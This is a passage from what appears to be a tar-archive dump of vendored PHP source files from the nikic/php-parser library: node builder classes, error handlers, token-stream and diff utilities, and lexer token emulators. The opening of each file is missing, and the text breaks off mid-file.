interface) */ public function addParams(array $params) { foreach ($params as $param) { $this->addParam($param); } return $this; } /** * Sets the return type for PHP 7. * * @param string|Node\Name|Node\Identifier|Node\ComplexType $type * * @return $this The builder instance (for fluid interface) */ public function setReturnType($type) { $this->returnType = BuilderHelpers::normalizeType($type); return $this; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUse.php000064400000003045147577714370022642 0ustar00and($trait); } } /** * Adds used trait. * * @param Node\Name|string $trait Trait name * * @return $this The builder instance (for fluid interface) */ public function and($trait) { $this->traits[] = BuilderHelpers::normalizeName($trait); return $this; } /** * Adds trait adaptation. * * @param Stmt\TraitUseAdaptation|Builder\TraitUseAdaptation $adaptation Trait adaptation * * @return $this The builder instance (for fluid interface) */ public function with($adaptation) { $adaptation = BuilderHelpers::normalizeNode($adaptation); if (!$adaptation instanceof Stmt\TraitUseAdaptation) { throw new \LogicException('Adaptation must have type TraitUseAdaptation'); } $this->adaptations[] = $adaptation; return $this; } /** * Returns the built node. * * @return Node The built node */ public function getNode() : Node { return new Stmt\TraitUse($this->traits, $this->adaptations); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Interface_.php000064400000004673147577714370023151 0ustar00name = $name; } /** * Extends one or more interfaces. * * @param Name|string ...$interfaces Names of interfaces to extend * * @return $this The builder instance (for fluid interface) */ public function extend(...$interfaces) { foreach ($interfaces as $interface) { $this->extends[] = BuilderHelpers::normalizeName($interface); } return $this; } /** * Adds a statement. * * @param Stmt|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $stmt = BuilderHelpers::normalizeNode($stmt); if ($stmt instanceof Stmt\ClassConst) { $this->constants[] = $stmt; } elseif ($stmt instanceof Stmt\ClassMethod) { // we erase all statements in the body of an interface method $stmt->stmts = null; $this->methods[] = $stmt; } else { throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); } return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built interface node. * * @return Stmt\Interface_ The built interface node */ public function getNode() : PhpParser\Node { return new Stmt\Interface_($this->name, [ 'extends' => $this->extends, 'stmts' => array_merge($this->constants, $this->methods), 'attrGroups' => $this->attributeGroups, ], $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Declaration.php000064400000001730147577714370023326 0ustar00addStmt($stmt); } return $this; } /** * Sets doc comment for the declaration. * * @param PhpParser\Comment\Doc|string $docComment Doc comment to set * * @return $this The builder instance (for fluid interface) */ public function setDocComment($docComment) { $this->attributes['comments'] = [ BuilderHelpers::normalizeDocComment($docComment) ]; return $this; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Param.php000064400000005600147577714370022141 0ustar00name = $name; } /** * Sets default value for the parameter. * * @param mixed $value Default value to use * * @return $this The builder instance (for fluid interface) */ public function setDefault($value) { $this->default = BuilderHelpers::normalizeValue($value); return $this; } /** * Sets type for the parameter. * * @param string|Node\Name|Node\Identifier|Node\ComplexType $type Parameter type * * @return $this The builder instance (for fluid interface) */ public function setType($type) { $this->type = BuilderHelpers::normalizeType($type); if ($this->type == 'void') { throw new \LogicException('Parameter type cannot be void'); } return $this; } /** * Sets type for the parameter. * * @param string|Node\Name|Node\Identifier|Node\ComplexType $type Parameter type * * @return $this The builder instance (for fluid interface) * * @deprecated Use setType() instead */ public function setTypeHint($type) { return $this->setType($type); } /** * Make the parameter accept the value by reference. * * @return $this The builder instance (for fluid interface) */ public function makeByRef() { $this->byRef = true; return $this; } /** * Make the parameter variadic * * @return $this The builder instance (for fluid interface) */ public function makeVariadic() { $this->variadic = true; return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built parameter node. * * @return Node\Param The built parameter node */ public function getNode() : Node { return new Node\Param( new Node\Expr\Variable($this->name), $this->default, $this->type, $this->byRef, $this->variadic, [], 0, $this->attributeGroups ); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/EnumCase.php000064400000003563147577714370022607 0ustar00name = $name; } /** * Sets the value. * * @param Node\Expr|string|int $value * * @return $this */ public function setValue($value) { $this->value = BuilderHelpers::normalizeValue($value); return $this; } /** * Sets doc comment for the constant. * * @param PhpParser\Comment\Doc|string $docComment Doc comment to set * * @return $this The builder instance (for fluid interface) */ public function setDocComment($docComment) { $this->attributes = [ 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] ]; return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built enum case node. * * @return Stmt\EnumCase The built constant node */ public function getNode(): PhpParser\Node { return new Stmt\EnumCase( $this->name, $this->value, $this->attributes, $this->attributeGroups ); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Class_.php000064400000007074147577714370022314 0ustar00name = $name; } /** * Extends a class. * * @param Name|string $class Name of class to extend * * @return $this The builder instance (for fluid interface) */ public function extend($class) { $this->extends = BuilderHelpers::normalizeName($class); return $this; } /** * Implements one or more interfaces. * * @param Name|string ...$interfaces Names of interfaces to implement * * @return $this The builder instance (for fluid interface) */ public function implement(...$interfaces) { foreach ($interfaces as $interface) { $this->implements[] = BuilderHelpers::normalizeName($interface); } return $this; } /** * Makes the class abstract. * * @return $this The builder instance (for fluid interface) */ public function makeAbstract() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_ABSTRACT); return $this; } /** * Makes the class final. * * @return $this The builder instance (for fluid interface) */ public function makeFinal() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_FINAL); return $this; } /** * Adds a statement. * * @param Stmt|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $stmt = BuilderHelpers::normalizeNode($stmt); $targets = [ Stmt\TraitUse::class => &$this->uses, Stmt\ClassConst::class => &$this->constants, Stmt\Property::class => &$this->properties, Stmt\ClassMethod::class => &$this->methods, ]; $class = \get_class($stmt); if (!isset($targets[$class])) { throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); } $targets[$class][] = $stmt; return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built class node. * * @return Stmt\Class_ The built class node */ public function getNode() : PhpParser\Node { return new Stmt\Class_($this->name, [ 'flags' => $this->flags, 'extends' => $this->extends, 'implements' => $this->implements, 'stmts' => array_merge($this->uses, $this->constants, $this->properties, $this->methods), 'attrGroups' => $this->attributeGroups, ], $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Namespace_.php000064400000002012147577714370023126 0ustar00name = null !== $name ? BuilderHelpers::normalizeName($name) : null; } /** * Adds a statement. * * @param Node|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); return $this; } /** * Returns the built node. * * @return Stmt\Namespace_ The built node */ public function getNode() : Node { return new Stmt\Namespace_($this->name, $this->stmts, $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Use_.php000064400000002304147577714370021772 0ustar00name = BuilderHelpers::normalizeName($name); $this->type = $type; } /** * Sets alias for used name. * * @param string $alias Alias to use (last component of full name by default) * * @return $this The builder instance (for fluid interface) */ public function as(string $alias) { $this->alias = $alias; return $this; } /** * Returns the built node. * * @return Stmt\Use_ The built node */ public function getNode() : Node { return new Stmt\Use_([ new Stmt\UseUse($this->name, $this->alias) ], $this->type); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Method.php000064400000007264147577714370022331 0ustar00name = $name; } /** * Makes the method public. * * @return $this The builder instance (for fluid interface) */ public function makePublic() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PUBLIC); return $this; } /** * Makes the method protected. * * @return $this The builder instance (for fluid interface) */ public function makeProtected() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PROTECTED); return $this; } /** * Makes the method private. * * @return $this The builder instance (for fluid interface) */ public function makePrivate() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PRIVATE); return $this; } /** * Makes the method static. * * @return $this The builder instance (for fluid interface) */ public function makeStatic() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_STATIC); return $this; } /** * Makes the method abstract. * * @return $this The builder instance (for fluid interface) */ public function makeAbstract() { if (!empty($this->stmts)) { throw new \LogicException('Cannot make method with statements abstract'); } $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_ABSTRACT); $this->stmts = null; // abstract methods don't have statements return $this; } /** * Makes the method final. * * @return $this The builder instance (for fluid interface) */ public function makeFinal() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_FINAL); return $this; } /** * Adds a statement. * * @param Node|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { if (null === $this->stmts) { throw new \LogicException('Cannot add statements to an abstract method'); } $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built method node. * * @return Stmt\ClassMethod The built method node */ public function getNode() : Node { return new Stmt\ClassMethod($this->name, [ 'flags' => $this->flags, 'byRef' => $this->returnByRef, 'params' => $this->params, 'returnType' => $this->returnType, 'stmts' => $this->stmts, 'attrGroups' => $this->attributeGroups, ], $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Function_.php000064400000003152147577714370023025 0ustar00name = $name; } /** * Adds a statement. * * @param Node|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built function node. * * @return Stmt\Function_ The built function node */ public function getNode() : Node { return new Stmt\Function_($this->name, [ 'byRef' => $this->returnByRef, 'params' => $this->params, 'returnType' => $this->returnType, 'stmts' => $this->stmts, 'attrGroups' => $this->attributeGroups, ], $this->attributes); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Property.php000064400000007641147577714370022734 0ustar00name = $name; } /** * Makes the property public. * * @return $this The builder instance (for fluid interface) */ public function makePublic() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PUBLIC); return $this; } /** * Makes the property protected. * * @return $this The builder instance (for fluid interface) */ public function makeProtected() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PROTECTED); return $this; } /** * Makes the property private. * * @return $this The builder instance (for fluid interface) */ public function makePrivate() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_PRIVATE); return $this; } /** * Makes the property static. * * @return $this The builder instance (for fluid interface) */ public function makeStatic() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_STATIC); return $this; } /** * Makes the property readonly. * * @return $this The builder instance (for fluid interface) */ public function makeReadonly() { $this->flags = BuilderHelpers::addModifier($this->flags, Stmt\Class_::MODIFIER_READONLY); return $this; } /** * Sets default value for the property. * * @param mixed $value Default value to use * * @return $this The builder instance (for fluid interface) */ public function setDefault($value) { $this->default = BuilderHelpers::normalizeValue($value); return $this; } /** * Sets doc comment for the property. * * @param PhpParser\Comment\Doc|string $docComment Doc comment to set * * @return $this The builder instance (for fluid interface) */ public function setDocComment($docComment) { $this->attributes = [ 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] ]; return $this; } /** * Sets the property type for PHP 7.4+. * * @param string|Name|Identifier|ComplexType $type * * @return $this */ public function setType($type) { $this->type = BuilderHelpers::normalizeType($type); return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built class node. * * @return Stmt\Property The built property node */ public function getNode() : PhpParser\Node { return new Stmt\Property( $this->flags !== 0 ? $this->flags : Stmt\Class_::MODIFIER_PUBLIC, [ new Stmt\PropertyProperty($this->name, $this->default) ], $this->attributes, $this->type, $this->attributeGroups ); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder/Trait_.php000064400000003751147577714370022330 0ustar00name = $name; } /** * Adds a statement. * * @param Stmt|PhpParser\Builder $stmt The statement to add * * @return $this The builder instance (for fluid interface) */ public function addStmt($stmt) { $stmt = BuilderHelpers::normalizeNode($stmt); if ($stmt instanceof Stmt\Property) { $this->properties[] = $stmt; } elseif ($stmt instanceof Stmt\ClassMethod) { $this->methods[] = $stmt; } elseif ($stmt instanceof Stmt\TraitUse) { $this->uses[] = $stmt; } else { throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); } return $this; } /** * Adds an attribute group. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return $this The builder instance (for fluid interface) */ public function addAttribute($attribute) { $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); return $this; } /** * Returns the built trait node. * * @return Stmt\Trait_ The built interface node */ public function getNode() : PhpParser\Node { return new Stmt\Trait_( $this->name, [ 'stmts' => array_merge($this->uses, $this->properties, $this->methods), 'attrGroups' => $this->attributeGroups, ], $this->attributes ); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Comment/Doc.php000064400000000147147577714370021623 0ustar00errors[] = $error; } /** * Get collected errors. * * @return Error[] */ public function getErrors() : array { return $this->errors; } /** * Check whether there are any errors. * * @return bool */ public function hasErrors() : bool { return !empty($this->errors); } /** * Reset/clear collected errors. */ public function clearErrors() { $this->errors = []; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Throwing.php000064400000000552147577714370023704 0ustar00type = $type; $this->old = $old; $this->new = $new; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenStream.php000064400000021513147577714370023524 0ustar00tokens = $tokens; $this->indentMap = $this->calcIndentMap(); } /** * Whether the given position is immediately surrounded by parenthesis. * * @param int $startPos Start position * @param int $endPos End position * * @return bool */ public function haveParens(int $startPos, int $endPos) : bool { return $this->haveTokenImmediatelyBefore($startPos, '(') && $this->haveTokenImmediatelyAfter($endPos, ')'); } /** * Whether the given position is immediately surrounded by braces. * * @param int $startPos Start position * @param int $endPos End position * * @return bool */ public function haveBraces(int $startPos, int $endPos) : bool { return ($this->haveTokenImmediatelyBefore($startPos, '{') || $this->haveTokenImmediatelyBefore($startPos, T_CURLY_OPEN)) && $this->haveTokenImmediatelyAfter($endPos, '}'); } /** * Check whether the position is directly preceded by a certain token type. * * During this check whitespace and comments are skipped. * * @param int $pos Position before which the token should occur * @param int|string $expectedTokenType Token to check for * * @return bool Whether the expected token was found */ public function haveTokenImmediatelyBefore(int $pos, $expectedTokenType) : bool { $tokens = $this->tokens; $pos--; for (; $pos >= 0; $pos--) { $tokenType = $tokens[$pos][0]; if ($tokenType === $expectedTokenType) { return true; } if ($tokenType !== \T_WHITESPACE && $tokenType !== \T_COMMENT && $tokenType !== \T_DOC_COMMENT) { break; } } return false; } /** * Check whether the position is directly followed by a certain token type. * * During this check whitespace and comments are skipped. * * @param int $pos Position after which the token should occur * @param int|string $expectedTokenType Token to check for * * @return bool Whether the expected token was found */ public function haveTokenImmediatelyAfter(int $pos, $expectedTokenType) : bool { $tokens = $this->tokens; $pos++; for (; $pos < \count($tokens); $pos++) { $tokenType = $tokens[$pos][0]; if ($tokenType === $expectedTokenType) { return true; } if ($tokenType !== \T_WHITESPACE && $tokenType !== \T_COMMENT && $tokenType !== \T_DOC_COMMENT) { break; } } return false; } public function skipLeft(int $pos, $skipTokenType) { $tokens = $this->tokens; $pos = $this->skipLeftWhitespace($pos); if ($skipTokenType === \T_WHITESPACE) { return $pos; } if ($tokens[$pos][0] !== $skipTokenType) { // Shouldn't happen. The skip token MUST be there throw new \Exception('Encountered unexpected token'); } $pos--; return $this->skipLeftWhitespace($pos); } public function skipRight(int $pos, $skipTokenType) { $tokens = $this->tokens; $pos = $this->skipRightWhitespace($pos); if ($skipTokenType === \T_WHITESPACE) { return $pos; } if ($tokens[$pos][0] !== $skipTokenType) { // Shouldn't happen. The skip token MUST be there throw new \Exception('Encountered unexpected token'); } $pos++; return $this->skipRightWhitespace($pos); } /** * Return first non-whitespace token position smaller or equal to passed position. * * @param int $pos Token position * @return int Non-whitespace token position */ public function skipLeftWhitespace(int $pos) { $tokens = $this->tokens; for (; $pos >= 0; $pos--) { $type = $tokens[$pos][0]; if ($type !== \T_WHITESPACE && $type !== \T_COMMENT && $type !== \T_DOC_COMMENT) { break; } } return $pos; } /** * Return first non-whitespace position greater or equal to passed position. * * @param int $pos Token position * @return int Non-whitespace token position */ public function skipRightWhitespace(int $pos) { $tokens = $this->tokens; for ($count = \count($tokens); $pos < $count; $pos++) { $type = $tokens[$pos][0]; if ($type !== \T_WHITESPACE && $type !== \T_COMMENT && $type !== \T_DOC_COMMENT) { break; } } return $pos; } public function findRight(int $pos, $findTokenType) { $tokens = $this->tokens; for ($count = \count($tokens); $pos < $count; $pos++) { $type = $tokens[$pos][0]; if ($type === $findTokenType) { return $pos; } } return -1; } /** * Whether the given position range contains a certain token type. * * @param int $startPos Starting position (inclusive) * @param int $endPos Ending position (exclusive) * @param int|string $tokenType Token type to look for * @return bool Whether the token occurs in the given range */ public function haveTokenInRange(int $startPos, int $endPos, $tokenType) { $tokens = $this->tokens; for ($pos = $startPos; $pos < $endPos; $pos++) { if ($tokens[$pos][0] === $tokenType) { return true; } } return false; } public function haveBracesInRange(int $startPos, int $endPos) { return $this->haveTokenInRange($startPos, $endPos, '{') || $this->haveTokenInRange($startPos, $endPos, T_CURLY_OPEN) || $this->haveTokenInRange($startPos, $endPos, '}'); } /** * Get indentation before token position. * * @param int $pos Token position * * @return int Indentation depth (in spaces) */ public function getIndentationBefore(int $pos) : int { return $this->indentMap[$pos]; } /** * Get the code corresponding to a token offset range, optionally adjusted for indentation. * * @param int $from Token start position (inclusive) * @param int $to Token end position (exclusive) * @param int $indent By how much the code should be indented (can be negative as well) * * @return string Code corresponding to token range, adjusted for indentation */ public function getTokenCode(int $from, int $to, int $indent) : string { $tokens = $this->tokens; $result = ''; for ($pos = $from; $pos < $to; $pos++) { $token = $tokens[$pos]; if (\is_array($token)) { $type = $token[0]; $content = $token[1]; if ($type === \T_CONSTANT_ENCAPSED_STRING || $type === \T_ENCAPSED_AND_WHITESPACE) { $result .= $content; } else { // TODO Handle non-space indentation if ($indent < 0) { $result .= str_replace("\n" . str_repeat(" ", -$indent), "\n", $content); } elseif ($indent > 0) { $result .= str_replace("\n", "\n" . str_repeat(" ", $indent), $content); } else { $result .= $content; } } } else { $result .= $token; } } return $result; } /** * Precalculate the indentation at every token position. * * @return int[] Token position to indentation map */ private function calcIndentMap() { $indentMap = []; $indent = 0; foreach ($this->tokens as $token) { $indentMap[] = $indent; if ($token[0] === \T_WHITESPACE) { $content = $token[1]; $newlinePos = \strrpos($content, "\n"); if (false !== $newlinePos) { $indent = \strlen($content) - $newlinePos - 1; } } } // Add a sentinel for one past end of the file $indentMap[] = $indent; return $indentMap; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Internal/Differ.php000064400000011072147577714370022466 0ustar00isEqual = $isEqual; } /** * Calculate diff (edit script) from $old to $new. * * @param array $old Original array * @param array $new New array * * @return DiffElem[] Diff (edit script) */ public function diff(array $old, array $new) { list($trace, $x, $y) = $this->calculateTrace($old, $new); return $this->extractDiff($trace, $x, $y, $old, $new); } /** * Calculate diff, including "replace" operations. * * If a sequence of remove operations is followed by the same number of add operations, these * will be coalesced into replace operations. * * @param array $old Original array * @param array $new New array * * @return DiffElem[] Diff (edit script), including replace operations */ public function diffWithReplacements(array $old, array $new) { return $this->coalesceReplacements($this->diff($old, $new)); } private function calculateTrace(array $a, array $b) { $n = \count($a); $m = \count($b); $max = $n + $m; $v = [1 => 0]; $trace = []; for ($d = 0; $d <= $max; $d++) { $trace[] = $v; for ($k = -$d; $k <= $d; $k += 2) { if ($k === -$d || ($k !== $d && $v[$k-1] < $v[$k+1])) { $x = $v[$k+1]; } else { $x = $v[$k-1] + 1; } $y = $x - $k; while ($x < $n && $y < $m && ($this->isEqual)($a[$x], $b[$y])) { $x++; $y++; } $v[$k] = $x; if ($x >= $n && $y >= $m) { return [$trace, $x, $y]; } } } throw new \Exception('Should not happen'); } private function extractDiff(array $trace, int $x, int $y, array $a, array $b) { $result = []; for ($d = \count($trace) - 1; $d >= 0; $d--) { $v = $trace[$d]; $k = $x - $y; if ($k === -$d || ($k !== $d && $v[$k-1] < $v[$k+1])) { $prevK = $k + 1; } else { $prevK = $k - 1; } $prevX = $v[$prevK]; $prevY = $prevX - $prevK; while ($x > $prevX && $y > $prevY) { $result[] = new DiffElem(DiffElem::TYPE_KEEP, $a[$x-1], $b[$y-1]); $x--; $y--; } if ($d === 0) { break; } while ($x > $prevX) { $result[] = new DiffElem(DiffElem::TYPE_REMOVE, $a[$x-1], null); $x--; } while ($y > $prevY) { $result[] = new DiffElem(DiffElem::TYPE_ADD, null, $b[$y-1]); $y--; } } return array_reverse($result); } /** * Coalesce equal-length sequences of remove+add into a replace operation. * * @param DiffElem[] $diff * @return DiffElem[] */ private function coalesceReplacements(array $diff) { $newDiff = []; $c = \count($diff); for ($i = 0; $i < $c; $i++) { $diffType = $diff[$i]->type; if ($diffType !== DiffElem::TYPE_REMOVE) { $newDiff[] = $diff[$i]; continue; } $j = $i; while ($j < $c && $diff[$j]->type === DiffElem::TYPE_REMOVE) { $j++; } $k = $j; while ($k < $c && $diff[$k]->type === DiffElem::TYPE_ADD) { $k++; } if ($j - $i === $k - $j) { $len = $j - $i; for ($n = 0; $n < $len; $n++) { $newDiff[] = new DiffElem( DiffElem::TYPE_REPLACE, $diff[$i + $n]->old, $diff[$j + $n]->new ); } } else { for (; $i < $k; $i++) { $newDiff[] = $diff[$i]; } } $i = $k - 1; } return $newDiff; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php000064400000004067147577714370026277 0ustar00attrGroups = $attrGroups; $this->args = $args; $this->extends = $extends; $this->implements = $implements; $this->stmts = $stmts; } public static function fromNewNode(Expr\New_ $newNode) { $class = $newNode->class; assert($class instanceof Node\Stmt\Class_); // We don't assert that $class->name is null here, to allow consumers to assign unique names // to anonymous classes for their own purposes. We simplify ignore the name here. return new self( $class->attrGroups, $newNode->args, $class->extends, $class->implements, $class->stmts, $newNode->getAttributes() ); } public function getType() : string { return 'Expr_PrintableNewAnonClass'; } public function getSubNodeNames() : array { return ['attrGroups', 'args', 'extends', 'implements', 'stmts']; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/KeywordEmulator.php000064400000003326147577714370026523 0ustar00getKeywordString()) !== false; } protected function isKeywordContext(array $tokens, int $pos): bool { $previousNonSpaceToken = $this->getPreviousNonSpaceToken($tokens, $pos); return $previousNonSpaceToken === null || $previousNonSpaceToken[0] !== \T_OBJECT_OPERATOR; } public function emulate(string $code, array $tokens): array { $keywordString = $this->getKeywordString(); foreach ($tokens as $i => $token) { if ($token[0] === T_STRING && strtolower($token[1]) === $keywordString && $this->isKeywordContext($tokens, $i)) { $tokens[$i][0] = $this->getKeywordToken(); } } return $tokens; } /** * @param mixed[] $tokens * @return mixed[]|null */ private function getPreviousNonSpaceToken(array $tokens, int $start) { for ($i = $start - 1; $i >= 0; --$i) { if ($tokens[$i][0] === T_WHITESPACE) { continue; } return $tokens[$i]; } return null; } public function reverseEmulate(string $code, array $tokens): array { $keywordToken = $this->getKeywordToken(); foreach ($tokens as $i => $token) { if ($token[0] === $keywordToken) { $tokens[$i][0] = \T_STRING; } } return $tokens; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReverseEmulator.php000064400000001707147577714370026513 0ustar00emulator = $emulator; } public function getPhpVersion(): string { return $this->emulator->getPhpVersion(); } public function isEmulationNeeded(string $code): bool { return $this->emulator->isEmulationNeeded($code); } public function emulate(string $code, array $tokens): array { return $this->emulator->reverseEmulate($code, $tokens); } public function reverseEmulate(string $code, array $tokens): array { return $this->emulator->emulate($code, $tokens); } public function preprocessCode(string $code, array &$patches): string { return $code; } }readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/FlexibleDocStringEmulator.php000064400000004527147577714370030373 0ustar00res\h*)\2(?![a-zA-Z0-9_\x80-\xff])(?(?:;?[\r\n])?)/x REGEX; public function getPhpVersion(): string { return Emulative::PHP_7_3; } public function isEmulationNeeded(string $code) : bool { return strpos($code, '<<<') !== false; } public function emulate(string $code, array $tokens): array { // Handled by preprocessing + fixup. return $tokens; } public function reverseEmulate(string $code, array $tokens): array { // Not supported. return $tokens; } public function preprocessCode(string $code, array &$patches): string { if (!preg_match_all(self::FLEXIBLE_DOC_STRING_REGEX, $code, $matches, PREG_SET_ORDER|PREG_OFFSET_CAPTURE)) { // No heredoc/nowdoc found return $code; } // Keep track of how much we need to adjust string offsets due to the modifications we // already made $posDelta = 0; foreach ($matches as $match) { $indentation = $match['indentation'][0]; $indentationStart = $match['indentation'][1]; $separator = $match['separator'][0]; $separatorStart = $match['separator'][1]; if ($indentation === '' && $separator !== '') { // Ordinary heredoc/nowdoc continue; } if ($indentation !== '') { // Remove indentation $indentationLen = strlen($indentation); $code = substr_replace($code, '', $indentationStart + $posDelta, $indentationLen); $patches[] = [$indentationStart + $posDelta, 'add', $indentation]; $posDelta -= $indentationLen; } if ($separator === '') { // Insert newline as separator $code = substr_replace($code, "\n", $separatorStart + $posDelta, 0); $patches[] = [$separatorStart + $posDelta, 'remove', "\n"]; $posDelta += 1; } } return $code; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/EnumTokenEmulator.php000064400000001275147577714370027005 0ustar00resolveIntegerOrFloatToken($tokens[$i + 1][1]); array_splice($tokens, $i, 2, [ [$tokenKind, '0' . $tokens[$i + 1][1], $tokens[$i][2]], ]); $c--; } } return $tokens; } private function resolveIntegerOrFloatToken(string $str): int { $str = substr($str, 1); $str = str_replace('_', '', $str); $num = octdec($str); return is_float($num) ? \T_DNUMBER : \T_LNUMBER; } public function reverseEmulate(string $code, array $tokens): array { // Explicit octals were not legal code previously, don't bother. return $tokens; } }res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReadonlyTokenEmulator.php000064400000000655147577714370027657 0ustar00resolveIntegerOrFloatToken($match); $newTokens = [[$tokenKind, $match, $token[2]]]; $numTokens = 1; $len = $tokenLen; while ($matchLen > $len) { $nextToken = $tokens[$i + $numTokens]; $nextTokenText = \is_array($nextToken) ? $nextToken[1] : $nextToken; $nextTokenLen = \strlen($nextTokenText); $numTokens++; if ($matchLen < $len + $nextTokenLen) { // Split trailing characters into a partial token. assert(is_array($nextToken), "Partial token should be an array token"); $partialText = substr($nextTokenText, $matchLen - $len); $newTokens[] = [$nextToken[0], $partialText, $nextToken[2]]; break; } $len += $nextTokenLen; } array_splice($tokens, $i, $numTokens, $newTokens); $c -= $numTokens - \count($newTokens); $codeOffset += $matchLen; } return $tokens; } private function resolveIntegerOrFloatToken(string $str): int { $str = str_replace('_', '', $str); if (stripos($str, '0b') === 0) { $num = bindec($str); } elseif (stripos($str, '0x') === 0) { $num = hexdec($str); } elseif (stripos($str, '0') === 0 && ctype_digit($str)) { $num = octdec($str); } else { $num = +$str; } return is_float($num) ? T_DNUMBER : T_LNUMBER; } public function reverseEmulate(string $code, array $tokens): array { // Numeric separators were not legal code previously, don't bother. return $tokens; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/TokenEmulator.php000064400000001147147577714370026156 0ustar00') !== false; } public function emulate(string $code, array $tokens): array { // We need to manually iterate and manage a count because we'll change // the tokens array on the way $line = 1; for ($i = 0, $c = count($tokens); $i < $c; ++$i) { if ($tokens[$i] === '?' && isset($tokens[$i + 1]) && $tokens[$i + 1][0] === \T_OBJECT_OPERATOR) { array_splice($tokens, $i, 2, [ [\T_NULLSAFE_OBJECT_OPERATOR, '?->', $line] ]); $c--; continue; } // Handle ?-> inside encapsed string. if ($tokens[$i][0] === \T_ENCAPSED_AND_WHITESPACE && isset($tokens[$i - 1]) && $tokens[$i - 1][0] === \T_VARIABLE && preg_match('/^\?->([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)/', $tokens[$i][1], $matches) ) { $replacement = [ [\T_NULLSAFE_OBJECT_OPERATOR, '?->', $line], [\T_STRING, $matches[1], $line], ]; if (\strlen($matches[0]) !== \strlen($tokens[$i][1])) { $replacement[] = [ \T_ENCAPSED_AND_WHITESPACE, 